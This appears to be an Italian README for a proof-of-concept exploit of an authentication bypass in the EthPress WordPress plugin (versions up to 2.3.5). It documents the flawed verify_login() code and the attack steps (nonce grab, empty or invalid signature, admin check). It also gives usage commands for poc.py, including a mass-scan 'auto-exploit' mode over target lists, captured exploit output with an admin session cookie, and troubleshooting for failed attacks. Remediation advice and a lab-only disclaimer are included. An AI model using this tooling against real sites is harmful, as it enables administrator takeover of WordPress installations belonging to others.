
Proof-of-concept verificato che sfrutta il bypass di autenticazione non autenticato di EthPress <= 2.3.5, concedendo una sessione di amministratore WordPress tramite un indirizzo wallet.
Proof-of-concept funzionante e verificato per il bypass di autenticazione del login wallet di EthPress, sviluppato e validato contro il laboratorio localhost X-1.
RAZZ, user id 1, roles=['administrator']) usando soltanto un indirizzo wallet pubblico.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (v2.3.5) verifica la firma del wallet, costruisce un WP_Error quando il controllo fallisce — e poi dimentica di ritornare:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
L'esecuzione continua nel blocco di login, Address::log_in() risolve l'indirizzo wallet fornito dall'attaccante verso il relativo utente WordPress proprietario, e wp_set_auth_cookie() autentica quell'utente. La risposta è {"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
requests è l'unica dipendenza (pip install requests). Tutta la crittografia Ethereum (Keccak-256, secp256k1, firma RFC 6979, recupero dell'indirizzo) è implementata all'interno di poc.py usando solo la libreria standard.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php e leggi ethpressLoginWP.loginNonce. È un wp_create_nonce('ethpress_log_in') coniato per una sessione anonima (uid=0) ed è quindi valido per la chiamata AJAX non autenticata dell'attaccante stesso.coinbase inviato. verify2() restituisce [false, error] — e la 2.3.5 lo scarta. (Anche una firma completamente vuota funziona; poc.py ricade automaticamente su questa.)/wp-admin/, estrai il nonce REST della sessione e chiama /wp/v2/users/me?context=edit → l'id utente reale, il login e i ruoli; inoltre verifica l'accesso a quattro schermate riservate agli amministratori.Riproduci uno qualsiasi di questi:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update scrive esattamente la chiave di storage che scrive il Address::create() del plugin stesso (update_user_meta($uid, 'ethpress', $coinbase)), quindi la precondizione è predisposta nel modo legittimo — nessun indebolimento artificiale del target.
Le build di riferimento per il diffing risiedono fuori dalla directory dei plugin: ../_plugin-reference/ethpress/{vulnerable,latest}.
Scambiare le versioni del plugin sul posto mentre Apache continua a girare lascia il vecchio bytecode compilato in OPcache. PHP continua quindi a eseguire i file della versione precedente; poiché freemius/start.php:584 della 2.3.6 richiede freemius/require.php → includes/class-fs-hook-snapshot.php (un file che esiste solo nella 2.3.6), il sito restituiva HTTP 500 anche se la 2.3.5 era su disco. lab-switch-version.sh ora riavvia wp_app dopo ogni cambio e attende che /wp-login.php restituisca 200. Conferma sempre la versione in esecuzione, non solo quella su disco.
| Codice | Significato |
|---|---|
0 | almeno un target è stato EXPLOITED |
1 | eseguito correttamente, nessun target sfruttato |
2 | uso errato — file di input mancante/illeggibile, o nessun indirizzo wallet fornito |
-a è l'unica cosa che devi azzeccare-a/--address deve essere l'indirizzo wallet che è già collegato all'account WordPress target — cioè la riga wp_usermeta con meta_key = 'ethpress'. Il PoC non può indovinarlo: l'indirizzo non è esposto pubblicamente da nessuna parte.
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a use THIS value
Se passi un indirizzo diverso l'esecuzione termina come exploited 0 / 1 — ma il meccanismo di bypass in sé funziona, l'indirizzo semplicemente non risolve a nessun utente. Il PoC ora stampa un blocco esplicito "perché non ha avuto successo" più suggerimenti per ogni non-hit, quindi questo non è più silenzioso.
CVE-2026-19125/
├── README.md this file
├── analysis.md root cause, patch, chain, reliability, remediation
├── intel.md advisory facts + verification-vs-advisory table
├── poc.py the exploit (self-contained crypto, -f -t -o)
├── patch.diff app/Login.php 2.3.5 -> 2.3.6
├── boundary-test.py signature-input boundary harness
├── lab-switch-version.sh swap lab between 2.3.5 / 2.3.6 (opcache-safe)
├── sink-verify-login.txt vulnerable source excerpt (verifier + sink)
├── ajax-actions.txt attack-surface: ethpress AJAX registrations
├── hooks.txt hook registrations (Plugin::attach_hooks)
├── results.jsonl exploitation record (2.3.5) <- success
├── results-patched.jsonl exploitation record (2.3.6 control) <- blocked
├── results-neg.jsonl negative control (unlinked address)
└── evidence/
├── raw-transcript.txt raw HTTP: nonce -> bypass -> cookie -> admin proof
├── raw-repro.sh regenerates the above
├── boundary-matrix.txt which signature inputs bypass / 500 / fail
├── run-positive.log PoC run on 2.3.5
├── run-patched-236.log PoC run on 2.3.6
└── results-registration-open.jsonl users_can_register=1 branch behaviour
Aggiorna EthPress alla 2.3.6 o superiore. Non esiste una soluzione di configurazione: il difetto è nel flusso di controllo del login stesso. Se l'aggiornamento non è immediatamente possibile, disabilita il login wallet del plugin (o il plugin) e verifica wp_usermeta per i collegamenti ethpress su account privilegiati.
Solo per ricerca di sicurezza autorizzata in un laboratorio localhost isolato. Non usare contro sistemi di cui non sei proprietario o per cui non hai il permesso scritto di testare. Autore: Poloss.
| Flag | Significato |
|---|
-f, --file | file di URL target (uno per riga, commenti #) per scansione massiva + auto-exploit |
-t, --threads | thread worker concorrenti (default 10) |
-o, --output | percorso output/log, JSON Lines (default cve-2026-19125-results.jsonl) |
-u, --url | URL target singolo (ripetibile) |
-a, --address | indirizzo wallet della vittima collegato a un account WordPress |
-af, --address-file | file di indirizzi wallet candidati |
-k, --private-key | chiave privata dell'attaccante in hex (default: chiave casuale nuova per ogni attacco) |
--timeout | timeout HTTP in secondi (default 20) |
--verify-tls | verifica i certificati TLS |
-q, --quiet | sopprime le righe di progresso per target |
| Test | Build | Atteso | Osservato | Artefatto |
|---|
| Exploit positivo, indirizzo admin collegato | 2.3.5 | takeover | id=1 RAZZ roles=['administrator'], tutte e 4 le capability admin | results.jsonl, evidence/run-positive.log |
| Controllo negativo, indirizzo non collegato | 2.3.5 | nessuna sessione | "You have not registered on this site" | results-neg.jsonl |
| Controllo patchato, entrambe le primitive | 2.3.6 | rifiutato | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| Riproduzione raw con curl, senza tooling | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | confermato |
| Matrice di confine dell'input della firma | 2.3.5 | misto | 2 primitive deterministiche; blob casuali ≈50/50 o HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, indirizzo non collegato | 2.3.5 | nuova sessione subscriber | utente 0xAAAA... creato con ruolo subscriber, loggato (poi rimosso) | evidence/results-registration-open.jsonl |
| Sintomo | Significato | Soluzione |
|---|
failed ... "You have not registered on this site; we cannot log you in" | l'indirizzo fornito non è collegato a nessun account | passa l'indirizzo da wp user meta get <id> ethpress |
failed ... "Failed to verify signature. The address ... extracted for address ..." | il target è PATCHATO (>= 2.3.6) | comportamento di controllo atteso; reinstalla la 2.3.5 tramite lab-switch-version.sh |
not_vulnerable ... wp-login.php returned HTTP ... | EthPress assente, metodo di login disabilitato, o sito inattivo | controlla wp plugin list e che /wp-login.php restituisca 200 |
unreachable ... ConnectionError | nessuna raggiungibilità HTTP | controlla host/porta |
cookie_issued_not_accepted | cookie emesso ma rifiutato | il nonce è scaduto (vita di 5 minuti) — riesegui |
| HTTP 500 sulla chiamata AJAX, nessun cookie | una firma non recuperabile ha fatto lanciare un'eccezione alla crittografia inclusa | il PoC evita questo usando le primitive deterministiche |
wp-login.php restituisce 500 mentre la 2.3.5 è su disco | OPcache obsoleto dopo un cambio di versione | docker restart wp_app (gestito da lab-switch-version.sh) |